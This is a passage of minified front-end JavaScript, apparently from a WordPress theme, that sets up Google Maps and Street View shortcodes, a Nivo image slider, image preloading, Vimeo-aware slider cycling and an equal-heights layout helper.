.simpleBTN')}Cufon.now()}},initMapShortcode:function(id,lat,lon,zoom,maptype,hascontrols,drawmarker,infocontent){var latlng=new google.maps.LatLng(lat,lon);var maptypeid=google.maps.MapTypeId.ROADMAP;if(maptype=='satellite'){maptypeid=google.maps.MapTypeId.SATELLITE}else if(maptype=='hybrid'){maptypeid=google.maps.MapTypeId.HYBRID}else if(maptype=='terrain'){maptypeid=google.maps.MapTypeId.TERRAIN}var myOptions={zoom:zoom,center:latlng,mapTypeId:maptypeid,disableDefaultUI:!hascontrols};var map=new google.maps.Map(document.getElementById(id),myOptions);if(drawmarker){var marker=new google.maps.Marker({position:latlng,map:map})}if(infocontent==""){return}var infowindow=new google.maps.InfoWindow({content:infocontent});google.maps.event.addListener(marker,'click',function(){infowindow.open(map,marker)})},initStreetviewShortcode:function(id,lat,lon,heading,pitch,zoom,hascontrols){var latlng=new google.maps.LatLng(lat,lon);var panoramaOptions={position:latlng,pov:{heading:heading,pitch:pitch,zoom:zoom},addressControl:hascontrols,zoomControl:hascontrols,panControl:hascontrols};var myPano=new google.maps.StreetViewPanorama(document.getElementById(id),panoramaOptions);myPano.setVisible(true)},initSliderShortcode:function(id){jQuery('#'+id).nivoSlider()},startTimeoutCubed:function(){if(this.cubedIntervalID!=null){this.clearTimeoutCubed()}this.cubedIntervalID=setInterval('bfi.redrawCubeDepth()',8)},clearTimeoutCubed:function(){clearInterval(this.cubedIntervalID);this.cubedIntervalID=null}};jQuery.fn.preloadImages=function(opts){var defaults={showSpeed:500,easing:'easeOutQuad'};var options=jQuery.extend(defaults,opts);return this.each(function(){var container=jQuery(this);var image=container.find('img');jQuery(image).css({"visibility":"hidden","opacity":"0"});jQuery(image).bind('load error',function(){jQuery(this).css({"visibility":"visible"}).animate({opacity:"1"},{duration:options.showSpeed,easing:options.easing}).parent(container).removeClass('preload')}).each(function(){if(this.complete||(jQuery.browser.msie&&parseInt(jQuery.browser.version,10)==6)){jQuery(this).trigger('load')}})})}}(jQuery));function featureCycleOnAfter(curr,next,opts){var index=opts.currSlide;if(jQuery(jQuery('.headerbody').children()[index]).find('object').length>0){jQuery('.subheader .headerbody').cycle('pause')}else{jQuery('.subheader .headerbody').cycle('resume')}}function vimeo_player_loaded(swf_id){if(jQuery('#'+swf_id).parents('.subheader').length==0){return}var vimeo=jQuery('#'+swf_id)[0];vimeo.api_addEventListener('onFinish','vimeo_on_finish')}function vimeo_on_finish(swf_id){jQuery('.subheader .headerbody').cycle('resume')}(function(jQuery){jQuery.fn.equalHeights=function(minHeight,maxHeight){tallest=(minHeight)?minHeight:0;this.each(function(){var h=jQuery(this).height()-18;if(h>tallest){tallest=h}});if((maxHeight)&&tallest>maxHeight)tallest=maxHeight;return this.each(function(){jQuery(this).css('min-height',tallest).css("overflow","hidden")})}})(jQuery);
